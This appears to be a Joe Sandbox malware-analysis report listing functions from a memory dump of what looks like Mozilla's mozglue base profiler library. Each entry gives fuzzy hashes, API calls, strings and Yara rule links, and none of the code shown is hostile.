Opcode Fuzzy Hash: 8ac3e33bb4a7ce04b5c05978d6059a18adc15ea90be3ce2a07f98819e0870a7a
Instruction Fuzzy Hash: 0BC1C375E012099FCB08CF99C5906EEBBF6FF89318F28415DD8556BB44D732A806CB92

Function 6C98DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 654a9a291ebff969d1ef0502e55768e3707414436fb73e2a93347b09a90b783f
Instruction ID: dd7d135c1be6945a175664428b9d52ed00e108cae4d84575f9310d7d5038632e
Opcode Fuzzy Hash: 654a9a291ebff969d1ef0502e55768e3707414436fb73e2a93347b09a90b783f
Instruction Fuzzy Hash: 8742D336A097518BD304CE3CC4A075AF3E2BFC9364F198B2DE999A7790D774D9418B82

Function 6C9F76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 78b3ee2cfe7fb1d70fadfc1669ad19205c5ddca592b39f33e03535a93a5d7f62
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 1C321A71E0061A8FCB14CF98C890AADF7F6FF88308F64816AC559A7745D731A986CF90

Function 6C9F6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 494c3af5590a282331df6d987f03f7281d6b8d4e9b9fa30766c80ac328762263
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6922F871E002198FDB14CF98C880AADF7F6FF89304F6581AAC959A7745D731A986CF90

Function 6C9B0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 1f6d9b58ca24b6ec6d810c04ecfc915fded922dd74c78db522f4830937c09187
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 31220571E006599FCB18CF98C990AAEF7B2FF89304F548299D44AB7705D731A986CF80

Function 6C9FAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dd641a37d6a85efca55c7d86730369183f57fe1b5b81f3956d2622cf586a27
Instruction ID: 14b0aa61fc13caa61620bcd80ddf45e45e84cff3a31870bbdc44cf918a33837a
Opcode Fuzzy Hash: 49dd641a37d6a85efca55c7d86730369183f57fe1b5b81f3956d2622cf586a27
Instruction Fuzzy Hash: 85F15D716087458FD700CE28C8907AEB7E6AFD5318F158A2DE4F48B781EB74D886C792

Function 6C98C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: a7b72926fa9612178aca52f3e23fbb8f89dd4500ef7eb48847fac8822131d102
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 8BA1AA71F0121A8BDB08CE69C8917AEB7F2EFC8354F188669D915E7785DB349C068BD0

Function 6C9C7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 6bc983fd3706df26c93cf8fbf739f111d732401ca3b8d07c89455792943f7b70
Instruction ID: 0276d964c37481f42f4092220e05efb531f934df7e5798b82c1dcc5ef5318f77
Opcode Fuzzy Hash: 6bc983fd3706df26c93cf8fbf739f111d732401ca3b8d07c89455792943f7b70
Instruction Fuzzy Hash: 41716C75E012198FCB08CF99D8D05EEBBB6FF89314F24816ED516AB780D731A905CB91

Function 6C9C58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 9e9ceffa52d83c3aea619e525e502f51986aeb554e272de68f8ea77b8fee222a
Instruction ID: 3fdda4c3f2afa6e2503db5c8e2ea6e04ad044882240f0db0cdbee729d06f3f25
Opcode Fuzzy Hash: 9e9ceffa52d83c3aea619e525e502f51986aeb554e272de68f8ea77b8fee222a
Instruction Fuzzy Hash: 22819D71A012199FCB04CFA8C8809EEBBF2FF89314F648269E411BB741D731E945CBA1

Function 6C9CCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C99582D), ref: 6C9CCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C99582D), ref: 6C9CCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9FFE98,?,?,?,?,?,6C99582D), ref: 6C9CCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C99582D), ref: 6C9CCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C99582D), ref: 6C9CCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C99582D), ref: 6C9CCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C99582D), ref: 6C9CCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C9CCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C9CCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C9CCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C9CCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C9CCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C9CCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C9CCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C9CCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C9CCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C9CCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C9CCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C9CCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C9CCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C9CCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C9CCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C9CCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C9CCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C9CCE8A

Strings

power, xrefs: 6C9CCE84
screenshots, xrefs: 6C9CCCD4
notimerresolutionchange, xrefs: 6C9CCE00
preferencereads, xrefs: 6C9CCD92
unregisteredthreads, xrefs: 6C9CCE58
fileio, xrefs: 6C9CCC92
default, xrefs: 6C9CCC21
cpuallthreads, xrefs: 6C9CCE16
samplingallthreads, xrefs: 6C9CCE2C
ipcmessages, xrefs: 6C9CCDBE
nostacksampling, xrefs: 6C9CCD7C
leaf, xrefs: 6C9CCC66
jsallocations, xrefs: 6C9CCD0E
java, xrefs: 6C9CCC37
markersallthreads, xrefs: 6C9CCE42
processcpu, xrefs: 6C9CCE6E
nativeallocations, xrefs: 6C9CCDA8
noiostacks, xrefs: 6C9CCCBE
seqstyle, xrefs: 6C9CCCE6
fileioall, xrefs: 6C9CCCA8
mainthreadio, xrefs: 6C9CCC7C
Unrecognized feature "%s"., xrefs: 6C9CCEA0
audiocallbacktracing, xrefs: 6C9CCDD4
stackwalk, xrefs: 6C9CCCF8

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 0adeceb6435f0c90ee71b50704c5e37528ea27a95a2d39611db7390733c006d4
Instruction ID: 1d229f31fa50e99b7cbd4c9202b5af3ec07daa742c87546ea1cb58ccc7fb2104
Opcode Fuzzy Hash: 0adeceb6435f0c90ee71b50704c5e37528ea27a95a2d39611db7390733c006d4
Instruction Fuzzy Hash: 78519AC1B4522612FB1431156D10BAA1C4DEB7338EF14443AED2AA1F81FB45DA9F87B7

Function 6C9947C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C994801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C994817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C99482D
__Init_thread_footer.LIBCMT ref: 6C99484A

Part of subcall function 6C9BAB3F: EnterCriticalSection.KERNEL32(6CA0E370,?,?,6C983527,6CA0F6CC,?,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB49
Part of subcall function 6C9BAB3F: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C983527,6CA0F6CC,?,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BAB7C

GetCurrentThreadId.KERNEL32 ref: 6C99485F
GetCurrentThreadId.KERNEL32 ref: 6C99487E
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C99488B
free.MOZGLUE(?), ref: 6C99493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C994956
free.MOZGLUE(00000000), ref: 6C994960
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C99499A

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

free.MOZGLUE(?), ref: 6C9949C6
free.MOZGLUE(?), ref: 6C9949E9

Part of subcall function 6C9A5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9A5EDB
Part of subcall function 6C9A5E90: memset.VCRUNTIME140(6C9E7765,000000E5,55CCCCCC), ref: 6C9A5F27
Part of subcall function 6C9A5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9A5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C994A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9947FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C994A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C994828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C994812

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: fc8b986bef498b5d62ac45876e901c69fc0b64cd4e893dcbd8c7bb763f8b699f
Instruction ID: ad0e2e53861806ec71074f5a7bd089aa0459c45dbc963eb4d8bdf740b0475eb1
Opcode Fuzzy Hash: fc8b986bef498b5d62ac45876e901c69fc0b64cd4e893dcbd8c7bb763f8b699f
Instruction Fuzzy Hash: 98812270B012028FDB09DF68D84476A7379BB5235CF18422DD926A7B85D731E847CFAA

Function 6C994470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C994730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9944B2,6CA0E21C,6CA0F7F8), ref: 6C99473E
Part of subcall function 6C994730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C99474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9944BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9944D2
InitOnceExecuteOnce.KERNEL32(6CA0F80C,6C98F240,?,?), ref: 6C99451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C99455C
LoadLibraryW.KERNEL32(?), ref: 6C994592
InitializeCriticalSection.KERNEL32(6CA0F770), ref: 6C9945A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9945AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9945BB
InitOnceExecuteOnce.KERNEL32(6CA0F818,6C98F240,?,?), ref: 6C994612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C994636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C994644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C99466D
VerSetConditionMask.NTDLL ref: 6C99469F
VerSetConditionMask.NTDLL ref: 6C9946AB
VerSetConditionMask.NTDLL ref: 6C9946B2
VerSetConditionMask.NTDLL ref: 6C9946B9
VerSetConditionMask.NTDLL ref: 6C9946C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9946CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9946F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9946FD

Strings

kernel32.dll, xrefs: 6C9944CD
NativeNtBlockSet_Write, xrefs: 6C9946F7
WRusr.dll, xrefs: 6C9944B5
l, xrefs: 6C994578
user32.dll, xrefs: 6C994557, 6C99463F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 7b603fe9a3d92ef50a7345c4fdecfee19ec41f5a9fc9014d2fa35ae75a788511
Instruction ID: 06eae239187d29638ed862731b261012e2ad98f70ba804ca081fc7bf5838d573
Opcode Fuzzy Hash: 7b603fe9a3d92ef50a7345c4fdecfee19ec41f5a9fc9014d2fa35ae75a788511
Instruction Fuzzy Hash: EE61CCB0700349AEEB059F64EC49B957BB8FB5638CF08C65CE514AB641D370C986CFA2

Function 6C9CE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C9CB9F1,?), ref: 6C9C7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9CDCF5), ref: 6C9CE92D
GetCurrentThreadId.KERNEL32 ref: 6C9CEA4F
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEA5C
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEA80
GetCurrentThreadId.KERNEL32 ref: 6C9CEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9CDCF5), ref: 6C9CEA92
GetCurrentThreadId.KERNEL32 ref: 6C9CEB11
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C9CEB3C
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEB5B

Part of subcall function 6C9C5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9CEB71), ref: 6C9C57AB

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C9CEBAC

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

GetCurrentThreadId.KERNEL32 ref: 6C9CEBC1
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8,?,?,00000000), ref: 6C9CEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C9CEBE5
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8,00000000), ref: 6C9CEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9CEC46
CloseHandle.KERNEL32(?), ref: 6C9CEC55
free.MOZGLUE(00000000), ref: 6C9CEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C9CEA9B
[I %d/%d] profiler_start, xrefs: 6C9CEBB4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 227185a26187ace23f03283ad46d7019d9bf18469aafeb9575143ffdf9f0dbd9
Instruction ID: bbc5f0819213779a7a4060d1b21dfb23889fe23c9893bd83eb7bbf079ce71467
Opcode Fuzzy Hash: 227185a26187ace23f03283ad46d7019d9bf18469aafeb9575143ffdf9f0dbd9
Instruction Fuzzy Hash: 14A100317017029FDB049F18D844BAA77B9EB9638CF10812DE91A97B40DB31D847CBA6

Function 6C9CF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C9CF8F9

Part of subcall function 6C996390: GetCurrentThreadId.KERNEL32 ref: 6C9963D0
Part of subcall function 6C996390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9963DF
Part of subcall function 6C996390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C99640E

ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CF93A
GetCurrentThreadId.KERNEL32 ref: 6C9CF98A
GetCurrentThreadId.KERNEL32 ref: 6C9CF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CF716

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
